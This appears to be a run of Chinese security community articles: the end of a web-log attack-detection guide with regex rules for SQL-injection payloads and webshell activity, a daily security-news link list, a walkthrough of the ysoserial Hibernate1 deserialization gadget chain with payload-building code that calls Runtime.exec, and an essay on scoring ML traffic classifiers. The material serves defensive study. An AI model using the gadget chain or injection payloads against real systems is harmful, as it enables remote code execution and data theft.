.*(BENCHMARK\\(.*\\)).*
.*(WAITFOR.*DELAY).*
.*(SLEEP\\(.*\\).*
.*(THENDBMS_PIPE.RECEIVE_MESSAGE).*
Bool注入
.*and.*(>|=|<).*
.*or.*(>|=|<).*
.*xor.*(>|=|<).*
联合注入：
.*(order.*by).*
.*(union.*select).*
.*(union.*all.*select).*
.*(union.*select.*from).*
显错注入:
.*('|"|\\)).*
.*(extractvalue\\(.*\\)).*
.*(floor\\(.*\\)).*
.*(updatexml\\(.*\\)).*
利用注入则会体现出更完整，带有目的性的攻击请求，我们以同理制定规则即可，如查询当前数据库名、查询版本信息、查询数据库表名、列名则会出现database、version、table_name、column_nam（不同数据库存在不同差异，这里仅举例）
扫描后台则会产生大量的404请求，且请求较为频繁，请求特征通常为/admin、/guanli、/login.php、/administrator
对于是否进入后台，我认为假如一个疑似后台访问的链接被频繁请求，且每次响应大小都不相同，我则认为这是已经进入了后台，但是也有可能是网站管理员正在后台进行操作的，这暂且不谈
关于上传webshell，这个比较难得到较准确的信息，因为我们没有POST数据，无法知道上传的内容是什么，但是我们可以通过反推法，先利用webshell访问特征进行匹配，找到可能为webshell的访问地址，然后以时间为条件往前匹配包含上传特征的请求，如果成功匹配到了存在上传特征，那么可将其视为攻击路径中的“上传webshell”行为
至于“通过webshell执行恶意操作”，可以简单定义为webshell地址被请求多次，且响应大小大多数都不相同
当我们对以上每种行为都建立对应的规则之后，然后按照攻击路径模型到日志中进行匹配，攻击路径模型可能有多个
这是一个相对常规的攻击路径：
访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
可能还会有
访问主页>爬虫特征>扫描敏感信息>扫描识别CMS特征>利用已知组件漏洞进行攻击>执行恶意代码>获取webshell>通过webshell执行恶意操作
扫描路径>扫描到后台>疑似进入后台>上传webshell>通过webshell执行恶意操作
..
当我们用多个类似这样的攻击路径模型对日志进行匹配时，可能在同一个模型中可能会命中多次相同的行为特征，此时我需要做一个排查工作，通过IP、客户端特征、攻击手法、攻击payload相似度等等进行排除掉非同一攻击者的行为，尽可能得到一条准确的攻击路径。
我们通过一整个攻击路径来定义攻击，从而即使攻击者分时段进行攻击，行为也会被列入到攻击路径中
通过这样方式，也许能实现自动化展示出攻击者的攻击路径，但是具体可行率、准确度还有待进一步实践后确认。
7.日志噪声数据
通常，除了攻击者恶意构造的攻击之外，日志中还包含大量的扫描器发出的请求，此类请求同样包含一些攻击特征，但是多半都为无效的攻击，那么我们如何从大量的扫描攻击请求中判断出哪些请求较为可疑，可能攻击已经成功呢？我所认为的方法目前有两种，一种是给每种攻击方法定义成功的特征，如延时注入可通过判断日志中的响应时间，联合注入可通过与正常请求比较响应大小，Bool注入可通过页面响应大小的规律，当然实际情况中，这种做法得到的结果可能是存在误报的。第二种办法就是通过二次请求，通过重放攻击者的请求，定义攻击payload可能会返回的结果，通过重放攻击请求获取响应之后进行判断，其实这里已经类似扫描器，只是攻击请求来自于日志，这种方法可能对服务器造成二次伤害，一般情况下不可取，且已经脱离日志分析的范畴。
## 九、日志安全分析之更好的选择 [大数据]
回到那个最基本的问题， **如何从日志中区分正常请求和攻击请求** ？
可能做过安全的人都会想到：用关键字匹配呀
对，关键字匹配，因为这的确是简单直接可见的办法，用我们 **已知**
的安全知识，把每一种攻击手法定义出对应的攻击规则，然而对日志进行匹配，但Web技术更新速度飞快，可能某一天就出现了规则之外的攻击手法，导致我们无法从日志中分析出这些行为。
其实从接触日志分析这个领域开始，我就想过一个问题？有没有一种算法，可以自动的计算哪些是正常的，哪些是不正常的呢？然而思索很久，也尝试过一些办法，比如尝试过使用统计，按照请求的相似度进行归并，统计出一些“冷门”请求，后来发现其实这样做虽然有点效果，但是还是会漏掉很多请求，且存在大量无用请求。
后来又思索了一种办法，能不能对用户的网站产生的请求建立一个白名单，然后不在白名单内的请求皆为异常请求。这种做法效果倒是更好了一点，可是如何自动化建立白名单又成为了一个问题？如果我们手动对网站请求建立一个单独的白名单，那么一旦站点较多，建立白名单这个工作量又会巨大，但是如果只有单个站点，手工建立这样一个白名单是有意义的，因为这样就能统计所有的异常请求甚至未知的攻击行为。
后来我发现其实我最初的想法其实是一个正确的思路，用统计的方法来区分正常和异常请求，只不过我在最开始实现的时候认为的是：某个URL被访问的次数越少，那么次请求为可疑。
更好的思路是： **正常总是基本相似 异常却各有各的异常** （来源：<http://www.91ri.org/16614.html）>
文中关于此理论已经讲得很详细，这里简单描述一下实现方法：
搜集大量正常请求，为每个请求的所有参数的值定义正常模型
通过Waf或者攻击规则来剔除所有发起过攻击请求的IP，从而得到所有来自用户的正常请求，将每个正常请求构造出对应的正常模型，比如：
<http://test.com/index.php?id=123>
<http://test.com/index.php?id=124>
<http://test.com/index.php?id=125>
那么关于此请求的正常模型则为 [N,N,N],不匹配此模型的请求则为异常请求
当对日志中的请求建立完正常的模型，通过正常模型来匹配找出所有不符合模型的请求时，发现效果的确不错，漏报较少，不过实践中发现另一个问题，那便是数据的清洗，我们能否建立对应的模型，取决于对日志数据的理解，如果在数据前期提取时，我们无法准确的提取哪些是请求地址那些为请求参数可能无法对某个请求建立正常模型
关于此理论已经有人写出了Demo实现，地址：<https://github.com/SparkSharly/Sharly>
## 十、日志安全分析总结问答
1.日志分析有哪些用途？
感知可能正在发生的攻击，从而规避存在的安全风险
应急响应，还原攻击者的攻击路径，从而挽回已经造成的损失
分析安全趋势，从较大的角度观察攻击者更“关心”哪些系统
分析安全漏洞，发现已知或位置攻击方法，从日志中发现应用0day、Nday
..
2.有哪些方法可找出日志中的攻击行为？
攻击规则匹配，通过正则匹配日志中的攻击请求
统计方法，统计请求出现次数，次数少于同类请求平均次数则为异常请求
白名单模式，为正常请求建立白名单，不在名单范围内则为异常请求
HMM模型，类似于白名单，不同点在于可对正常请求自动化建立模型，从而通过正常模型找出不匹配者则为异常请求
3.日志分析有哪些商业和非商业工具/平台？
工具：
LogForensics 腾讯实验室
<https://security.tencent.com/index.php/opensource/detail/15>
北风飘然@金乌网络安全实验室
<http://www.freebuf.com/sectool/126698.html>
网络ID为piaox的安全从业人员：
<http://www.freebuf.com/sectool/110644.html>
网络ID：SecSky
<http://www.freebuf.com/sectool/8982.html>
网络ID：鬼魅羊羔
<http://www.freebuf.com/articles/web/96675.html>
平台（商业项目）：
Splunk >> 机器数据引擎
赛克蓝德 >> SeciLog
优特捷信息技术 >> 日志易
HanSight瀚思 >> 安全易
百泉众合数据科技 >>LogInsight
江南天安 >> 彩虹WEB攻击溯源平台
开源项目：
elk
<https://www.elastic.co>
scribe
<https://github.com/facebook/scribe>
chukwa
<http://incubator.apache.org/chukwa/>
kafka
<http://sna-projects.com/kafka/>
Flume
<https://github.com/cloudera/flume/>
4.有哪些方法适合分析攻击是否成功？
Kill Chain Model
## 十一、扩展阅读
<http://netsecurity.51cto.com/art/201506/478622.htm>
<http://www.freebuf.com/articles/web/86406.html>
<https://wenku.baidu.com/view/f41356138bd63186bdebbca8.html>
<http://www.freebuf.com/articles/web/96675.html>
<http://dongxicheng.org/search-engine/log-systems/>
<http://www.361way.com/scribe-chukwa-kafka-flume/4119.html>
<http://www.jianshu.com/p/942d1beb7fdd>
<https://xianzhi.aliyun.com/forum/attachment/big_size/WAF%E6%98%AF%E6%97%B6%E5%80%99%E8%B7%9F%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%B4%E5%86%8D%E8%A7%81.pdf>
<http://techshow.ctrip.com/archives/1042.html>
<http://www.ixueshu.com/document/b33cf4addda2a27e318947a18e7f9386.html>
<http://www.ixueshu.com/document/602ef355997f4aec.html>
[http://xueshu.baidu.com/s?wd=paperuri%3A%288b49643ad2a4ba7ea2d4cf46e366188d%29&filter=sc_long_sign&tn=SE_xueshusource_2kduw22v&sc_vurl=http%3A%2F%2Fwww.doc88.com%2Fp-0157694572004.html&ie=utf-8&sc_us=16365123920770356600](http://xueshu.baidu.com/s?wd=paperuri%3A%288b49643ad2a4ba7ea2d4cf46e366188d%29&filter=sc_long_sign&tn=SE_xueshusource_2kduw22v&sc_vurl=http%3A%2F%2Fwww.doc88.com%2Fp-0157694572004.html&ie=utf-8&sc_us=16365123920770356600)
## 十二、结束语
在安全领域中，防护为一个体系，感知风险和应急响应仅仅只算安全体系中的两个环节。而想要尽可能更好的实现这两个环节，单凭从日志中分析数据是远远不够的。
至于未来或许我们可以将日志分析和Waf、RASP、等其他安全产品进行联动，还可以将Web日志、系统日志、数据库日志等各种其他日志进行关联从而分析更准确、更具有价值的信息。
日志分析本质为数据分析，而数据驱动安全必定是未来的趋势。
关于日志分析还有很远的路要走，目前国内还并没有发现较为优秀的产品，日志数据中存在的价值还有待进一步挖掘。 | 社区文章 |
# 【知识】6月29日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 网络攻击后，联邦快递暂停其股票交易 **、**
震惊!NotPetya是网络武器而不是勒索软件、星巴克官网博客评论区存在存储型xss、偏执的PlugX病毒(分析) **、** USE-AFTER-SILENCE: vMware悄然修补UAF漏洞、专家发现Skype中存在一个关键的远程缓冲区溢出漏洞 **、 【权威报告】Petya勒索蠕虫完全分析报告
** **、 我是如何找一个影响数千职业网站的持续型XSS的 **、 逆向三星s6 sboot Part II**********
**
**
**资讯类：**
* * *
网络攻击后，联邦快递暂停其股票交易
[https://www.darkreading.com/attacks-breaches/after-cyber-attack-fedex-temporarily-halts-trading-of-its-shares/d/d-id/1329244?_mc=RSS_DR_EDT](https://www.darkreading.com/attacks-breaches/after-cyber-attack-fedex-temporarily-halts-trading-of-its-shares/d/d-id/1329244?_mc=RSS_DR_EDT)
震惊!NotPetya是网络武器而不是勒索软件
[https://www.bleepingcomputer.com/news/security/surprise-notpetya-is-a-cyber-weapon-its-not-ransomware/](https://www.bleepingcomputer.com/news/security/surprise-notpetya-is-a-cyber-weapon-its-not-ransomware/)
【图文直播】WCTF世界黑客大师赛
[http://bobao.360.cn/ctf/activity/452.html](http://bobao.360.cn/ctf/activity/452.html)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
【权威报告】Petya勒索蠕虫完全分析报告
<http://bobao.360.cn/learning/detail/4039.html>
GSoC(谷歌编程之夏)Phase1: Timeless Debugger Update (Timeless Debugger
是一种新的调试模式，它非常类似于反向调试、记录和重放。)
<https://rkx1209.github.io/2017/06/28/gsoc-phase1-timeless-debugger-update.html>
在HitmanPro独立扫描版本3.7.15-Build 281中识别漏洞（CVE-2017-6008）—Windows 7
<http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-7/>
星巴克官网博客评论区存在存储型xss
<https://hackerone.com/reports/218226>
使用radare2分析恶意软件
<http://unlogic.co.uk/2017/06/28/malwaring-with-r2/index.html>
RunShellcode:小巧的shellcode运行工具
<https://github.com/zerosum0x0/RunShellcode>
偏执的PlugX病毒(分析)
<https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/>
USE-AFTER-SILENCE: vMware悄然修补UAF漏洞
<https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware>
新的勒索，旧技术：Petya 增加了蠕虫能力(微软官方分析)
<https://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/>
逆向三星s6 sboot Part II
<https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-ii.html>
Stack Clash exploits are now available
<https://www.qualys.com/research/security-advisories/>
Windows Keylogger Part 2: Defense against user-land
<https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/>
我是如何找一个影响数千职业网站的持续型XSS的
<https://labs.detectify.com/2017/06/28/how-i-found-a-persistent-xss-affecting-thousands-of-career-sites/> | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/O1ay4BHiyPBkotNIgDQ6Kg>**
## Hibernate简介
Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，它将POJO与数据库表建立映射关系，是一个全自动的orm框架，hibernate可以自动生成SQL语句，自动执行，使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。
Hibernate可以应用在任何使用JDBC的场合，既可以在Java的客户端程序使用，也可以在Servlet/JSP的Web应用中使用，最具革命意义的是，Hibernate可以在应用EJB的JaveEE架构中取代CMP，完成数据持久化的重任。
## Java动态字节码生成
通过分析Hibernate1 payload 的构造过程 使用了Java的动态字节码生成的技术，这里针对该技术来提前进行一下讲解
什么是动态字节码生成，相信大家听字面意思也能大致有个概念，众所周知java是编译型语言，所有的.java文件最终都要编译成.class后缀的字节码形式。
那我们可不可以绕过.java直接操纵编译好的字节码呢？当然可以，java的反射机制就是在程序运行期去操纵字节码从而获得像方法名，属性名，构造函数，等等并对其进行操作。
当然这个只是对已经编译好的类来进行操作，我们可不可以在java运行期让程序自动生成一个.class字节码文件，其实说是生成，给我的感觉更多像是组装一个.class文件
当然也是可以的，Java为我们提供了两种方式。
* **ASM** ：直接操作字节码指令，执行效率高，要是使用者掌握Java类字节码文件格式及指令，对使用者的要求比较高。
* **Javassit** : 提供了更高级的API，执行效率相对较差，但无需掌握字节码指令的知识，对使用者要求较低。
javassit是一个第三方jar包我们可以通过maven以以下方式导入
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
Javassist是一个开源的分析、编辑和创建Java字节码的类库。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba （千叶
滋）所创建的。它已加入了开放源代码JBoss
应用服务器项目,通过使用Javassist对字节码操作为JBoss实现动态AOP框架。javassist是jboss的一个子项目，其主要的优点，在于简单，而且快速。直接使用java编码的形式，而不需要了解虚拟机指令，就能动态改变类的结构，或者动态生成类。
Javassist中最为重要的是ClassPool，CtClass ，CtMethod 以及 CtField这几个类。
* ClassPool：一个基于HashMap实现的CtClass对象容器，其中键是类名称，值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径，因此在某些情况下，可能需要向ClassPool添加类路径或类字节。
* CtClass：表示一个类，这些CtClass对象可以从ClassPool获得。
* CtMethods：表示类中的方法。
* CtFields ：表示类中的字段。
接下来通过代码来进行演示
public class JavassisTest1 {
public static void main(String[] args) {
ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("JavassistTestResult");//创建类
ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")});//让该类实现Serializable接口
try {
CtField f= new CtField(CtClass.intType,"id",ct);//生成一个字段 类型为int 名字为id
f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
ct.addField(f);//将字段设置到类上
CtConstructor constructor=CtNewConstructor.make("public GeneratedClass(int pId){this.id=pId;}",ct);//添加构造函数
ct.addConstructor(constructor);
CtMethod helloM=CtNewMethod.make("public void hello(String des){ System.out.println(des);}",ct);//添加方法
ct.addMethod(helloM);
ct.writeFile("/Users/IdeaProjects/Apache_ShardingSphere/Test5/target/classes/com/javassistTest/");//将生成的.class文件保存到磁盘
Class c = loader.loadClass("JavassistTestResult");
Constructor constructor1 = c.getDeclaredConstructor(int.class);
Object object = constructor1.newInstance(1);
System.out.println(1234);
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
}
执行后的结果，可以看到在对应的目录下生成了我们输入的类名`JavassistTestResult`同名的class文件
我们看一看该class文件的源码
可以看到该类的代码与我们调用javassist所示所输入的内容完全相同，该class文件就是我们通过调用javassist所提供的类与方法在运行时期动态生成的。
我们测试一下动态生成的类是否真的可用
public class JavassisTest3 {
public static void main(String[] args) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("/Users/IdeaProjects/Apache_ShardingSphere/Test5/target/classes/com/javassistTest");
Loader loader = new Loader(pool);
Class clazz = loader.loadClass("JavassistTestResult");
Constructor constructor1 = clazz.getDeclaredConstructor(int.class);
Object object = constructor1.newInstance(1);
Class clazz1 = object.getClass();
String className = clazz1.getName();
Field field = clazz1.getField("id");
String fieldName = field.getName();
System.out.println("className: "+className+"\n"+"fieldName: "+fieldName);
} catch (NotFoundException | ClassNotFoundException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
}
以下是执行结果，可以确定我们动态生成的类是确实可用的。
以上就是对javassist这个动态字节码生成技术的一些简介。
## Hibernate1 源码深度解析
首先先看一下生成payload的最主要的一段代码
挑一些比较关键的点进行讲解，首先先看`Gadgets.createTemplatesImpl()`方法
以下是该方法的详细实现代码，我们来仔细观察，首先是通过`TemplatesImpl.class`实例化了一个TemplatesImpl对象，紧接着就是用到了我们刚才讲的动态字节码生成javassist
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
/**此类为Gadget类的静态内部类*/
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
...............
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
/**此刻通过javassist对当前Gadget类的StubTransletPayload这个静态内部类进行了修改
* 在修改后的字节码中加入了一个静态代码块,
* 代码块里的内容就是通过绝对路径使用Runtime.exec来执行"open /Applications/Calculator.app" */
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
/**至此生成了一个以StubTransletPayload为模板切继承了AbstractTranslet类的一个class所在包为ysoserial
* ，该类的名字为Pwner加上一个随机数，
* 紧接着将其变为字节码*/
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
/**此时的TemplatesImpl对象里的_bytecodes属性，
* 里面存放了两个类的字节码，一个是以实现了AbstractTranslet类的StubTransletPayload对象为模板用javassists生成的一个类对象,
* 一个是只实现了了Serializable接口的Foo类对象，
* 同时_tfactory属性里存放了一个TransformerFactoryImpl对象*/
}
我们先看一下最终生成的.class的一个结果，这个新生成的字节码中有三个比较关键的点，首先是实现了Serializable接口，这点自不必多说，其次是继承自AbstractTranslet类，这点很关键在后续执行恶意代码时起关键作用，当然最最重要的就是这个手动加入的静态代码块，我们都知道静态代码块在类被加载的时候就会执行，整个类的生命周期中就只会执行一次。所以只需要将这个动态生成的类实例化的话就会自动执行`Runtime.exec()`函数
。接下来的操作就是将动态生成的类转化成字节数组的形式赋值给之前已经实例化好的TemplatesImpl对象的`\_bytecodes`属性。同时为TemplatesImpl对象的`\_name`和`\_tfactory`属性赋值。
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class Pwner1587535724799618000 extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public Pwner1587535724799618000() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
Object var1 = null;
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
}
接下来的就是一系列针对恶意代码的封装操作，不是很难，但是特别繁琐，所以我画了一个脑图来帮助大家进行理解。最终GetObject执行完成后封装出来的结果是一个HashMap对象，对
没有错，这次反序列化的触发点，就是我们最常用的HashMap。HashMap在被序列化然后反序列化的过程中，经过一系列的嵌套调用最终触发了我们封存在TemplatesImpl对象的_bytecodes属性中的那个动态生成类的静态代块。
首先通过脑图观察最后返回的HashMap有两个属性被赋了值，size属性和table属性。而table属性里存放的是一个HashMap$Entry对象，我们都知道`HashMap\$Entry`对象其实就是一对键值对的映射，这个映射对象的key和value存储的是同一个TypedValue对象，其实经过分析，value可以为任意值的。这个TypedValue类是存在`org.hibernate.engine.spi`包中的。
接下来我们进行调试分析
既然是使用jdk自带的反序列化，那么自然会调用HashMap的readObject方法
这个段代码里有两个需要注意的点，首先是1128行的代码mappings变量中存储的就是我们之前为HashMap对象的size属性所赋的值。下一个需要注意的点事1153行的for循环，此处是读取出我们之前为`HashMap\$Entry`对象里的Key和Value
然后调用`HashMap.putForCreate()`方法将Key和Value传递进去。这里就牵扯到了之前生成HashMap对象时为何要为size属性赋值，如果当初没有为size属性赋值，那么此时mappings变量就会为0，导致`i<mappings`判断失败，从而无法执行后续内容。
紧接着判断Key是否为空，Key不为空所以执行`HashMap.hash()`方法来处理key
在第351行我们调用了之前封装好的TypedValue对象的`hashCode()`方法
我们看到hashCode()方法里又调用了ValueHolder对象的`getValue()`方法。
可以看到hashcode变量的来历，是TypedValue对象被反序列化时调用initTransients方法所赋值的，里面存储的其实一个匿名内部类实例化的对象。
我们看一下valueInitializer变量的值.可以看到就是我们刚才所说的匿名内部类所实例化的对象。
自然而然接下来就是调用匿名内部类的`initialize()`方法。由于value的存储着一个TypedValue对象所以执行`type.getHashCode()`,
通过脑图可知type变量中存储的是一个ComponentType对象，所以调用`ComponentType.getHashCode()`方法并将value变量传入。
紧接着第242行调用`getPropertyValue()`方法。这里同理propertySpan是我们创建这个对象时通过反射赋的值，不能为0，如果为零则不会执行后续内容。
第414行调用`PojoComponentTuplizer.getPropertyValue(`)方法。由于PojoComponentTuplizer类没有该方法所以会调用其父类的`getPropertyValue()`方法
这里的gatter变量存储的就是我们之前封装好的Gatter数组根据脑图可以看到该数组里存储的是一个`BasicPropertyAccessor\$BasicGetter`对象。所以接下来调用`BasicPropertyAccessor?\$BasicGetter.get()`方法
我们观察脑图中的`BasicPropertyAccessor\$BasicGetter`里面的属性信息。可以看到method变量是我们提前赋好了值得是`TemplatesImpl.getOutputProperties()`的method对象所以这里通过反射调用`TemplatesImpl.getOutputProperties()`方法
紧接着调用`newTransformer()`方法
触发点就藏在`getTransletInstance()`这个回调函数中，
这里也说明了为什么一开始要为TemplatesImpl的`\_name`属性赋一个值，因为如果不赋值的话，在第一个if判断处就会直接返回null
最关键的就是第380行我们通过反射实例化了`\_class`这个Class数组对象中下标为0的Class对象，就最终触发了我们的恶意代码。
那这个Class数组对象中下标为0的Class对象究竟是什么？是不是我们之前封装在TemplatesImpl的`\_bytecode`属性中的那个通过javassist动态生成的类呢？这需要我们退一步去看上一步的`defineTransletClasses()`方法。
在`defineTransletClasses()`方法内我们看到有这么一个for循环。其中defineClass可以从`byte[]`还原出一个Class对象，所以当下这个操作就是将`\_bytecode[
]`中每一个`byte[ ]`都还原成Class后赋值给`\_class[ ]`，又因为`\_bytecode[ ]`中下标为0的`byte[
]`存储的正是包含了恶意代码的动态生成的类。所以`\_class[0]`就是其Class对象。而`\_class[0].newInstance`就是在实例化我们存有恶意代码的类。自然就会触发其静态代码块中存放的`Runtime.getRuntime().exec("open
/Applications/Calculator.app")`;。至此ysoserial Hibernate1反序列化代码执行原理分析完毕。
## 总结
整个Hibernate1的整体流程就是，首先使用HashMap来作为一个触发点，接下来需要用到的是hibernate-core包中的TypedValue类，AbstractComponentTuplizer类，PojoComponentTuplizer类，BasicPropertyAccessor$BasicGetter类以及AbstractType类和ComponentType类。利用这类中的一些互相调用的方法，作为调用链。但是最终执行代码的是`com.sun.org.apache.xalan`下的`TemplatesImpl`，因为我们所写的恶意代码最终是存储在该类的`\_bytecode`属性中。
* * * | 社区文章 |
# 如何在安全风控中评估和量化机器学习有效性
## 0x00 前言
近年来，越来越多的安全厂家把机器学习或人工智能纳入到产品里，但
是实际真正购买或者试用后，往往效果并没有厂商宣称的那么好用，常
常出现大量误报，漏报的情况。如何去评估或者测试这些产品或者机器
学习模型是否能够满足上线的需求以及对现有的防控体系有多少提升，
往往是进行采购或者上线时需要对业务部门说明的基础信息。
本文讨论的是如何去评估以及量化一个机器学习模型的过程，为了方便
描述，本文虚构了一个采购智能识别恶意流量的软件的故事，注意的是
采购这类软件需要考虑的因数非常的多，但是本文只关注有效性以及对
其做出评估。
## 0x01 确认问题
小明在一家证卷公司负责安全工作，公司使用的框架是struct2。
由于struct2的RCE漏洞大量被暴，导致了小明的部门常常需要加班进
行应急，在开发部门还是无法快速进行迁移到新框架前，部门的领导只
好提高了WAF拦截的力度，同时安排小明看看有没有比较好用的可以直
接鉴别异常流量的软件来进行辅助拦截应急。
#### Tips ：
机器学习基本围绕两大核心问题进行，回归和分类。而在安全领域，
大部分是属于分类问题：
* 是不是异常流量
* 属于哪一种攻击类型
* 是不是异常文件
* ...
当然也有回归，比如是不是符合用户使用的时间曲线之类判定。
不同的模型有不一样的估计方法。但是使用什么方法去评估之前，
我们得确定我们的问题是属于分类问题还是回归问题，如果是分类
问题是多分类问题还是二分类的问题。
小明需要采购的是可以识别正常流量和异常流量的软件。所以很明
显是属于分类问题。如果只是识别正常和异常两种类型流量，那么是
一个二分类的问题
**注1：** 为了方便，后续的异常流量和正常流量分为成为正样本和负样本
**注2：** 为啥称异常流量为正样本，因为触发了模型的规则，是我们需要
拦截的，是需要敏感关注的，而正常流量是我们不关心的，所以是负
样本
## 0x02 准备测试数据
小明在和第三方厂商进行沟通时得到了测试软件，可以进行搭建线下的
测试环境，但是在准备数据的时候，却犯了愁，正常的流量的数据找，
随便上线上服务器抓包就有，但是异常数据却不知道如何获取。突然想
起前一阵刚做完众测，应该有不少白帽子留下的异常流量。于是两者结
合，构造测试数据。
由于打算正式部署在证卷交易的主站，涉及的接口主要是涉及用户数据
以及交易接口等，所以在构造前，小明特意随机抽取主站的几个重要数
据进行勘查，人工识别出来的异常流量大概占总流量的0.5%左右，基于
此构造数据集：
* 1.每个时间段在正常的流量数据中采样，构建出9950条正常数据集。
* 2.在众测的异常流量数据中抽取数据，50一组，打散在正常数据集里面，共构建10小组数据。
* 3.在异常流量中抽取5000个异常数据，与正常的数据5000个构成
一组数据
* 4.最后再异常流量中抽取9500个异常数据，和50个正常数据再构
建成一组数据
最后构建出共三组数据集
* 10小组，每组总数为1W带有0.5%异常流量的数据
* 异常数据和正常数据均占50%的数据
* 异常数据偏多的，而正常流量只占0.5%的数据
#### Tips ：
我们在确定问题类型后，在对模型或者软件测试时，我们还需要确定模
型或者软件的部署的范围，基于此来构建测试数据集。
一般来说数据分布对模型来说，会有比较大的影响。测试的数据集一般
围绕这五种类型构建
* 常规数据集（基于真实的业务数据分布情况构建）
* 平均数据集（正样本和负样本占据一样多）
* 反常规数据集（基于真实的业务数据分布情况相反来构建）
* 全正样本数据集，即全部是正样本
* 全负样本数据集，即全部是负样本
通常这几种数据集基本可以看得出一个模型的真实的准确率是多少。
## 0x03 选取评估方法
分类指标常用的评估的方法就是使用混淆矩阵去计算各个指标
而回归的指标通常是MAE或者RMSE各种计算损失的函数之类。
下面来看一下 **混淆矩阵** :
其中
* TP 是指 实际为正样本 预测结果为正
* FP 是指 实际为负样本 预测结果为正
* FN 是指 实际为正样本 预测结果为负
* TN 是指 实际为负样本 预测结果为负
根据上面的四个数据，可以得出以下的指标：
准确率就是考究一个模型所做的判断的准确度有多高
精准率考究模型判断为正样本的准确率有多高
召回率则是考究模型对正样本的敏感程度有多高
小明在和大数据部门的小红探讨后，决定采用 **F1** 来评估模型的好坏
**F1** 是同时评估精准率 **P** 和召回率 **R** 的数据指标 计算的公式是：
#### Tips ：
在宣传的时候，大多数产品会含糊其辞其词的告诉你一个99.9x%的准确
率，并不会告诉你怎么测出来的。
但是在大多数的情况下，这个指标并没有太大的特点，就好比如上述的
常规数据集，全部的负样本都可以预测出来，但是就是检测不出来正样
本，也就是无法检测异常流量，也有99.95%的准确率。但是这么高的
准确率并没有实际的用途。
所以在产品没有告知它自身的测试环境情况下，需要自己准备好测试集
的同时，还要自己选好合适的度量指标，这样才可以准确的判断产品或
者模型的实际检测率。
另外，虽然 **F1** 同时评估了评估精准率 **P** 和召回率 **R** ，但是有时候实际上我们
可能更加关注精准率 **P** 或者是召回率 **R** 某一个，可以采取加权的方式来提升
某个指标的重要性
除此之外，还有根据 **P**** R**还可以绘制PR曲线图，可以根据这个PR曲线图
来判断模型的优劣
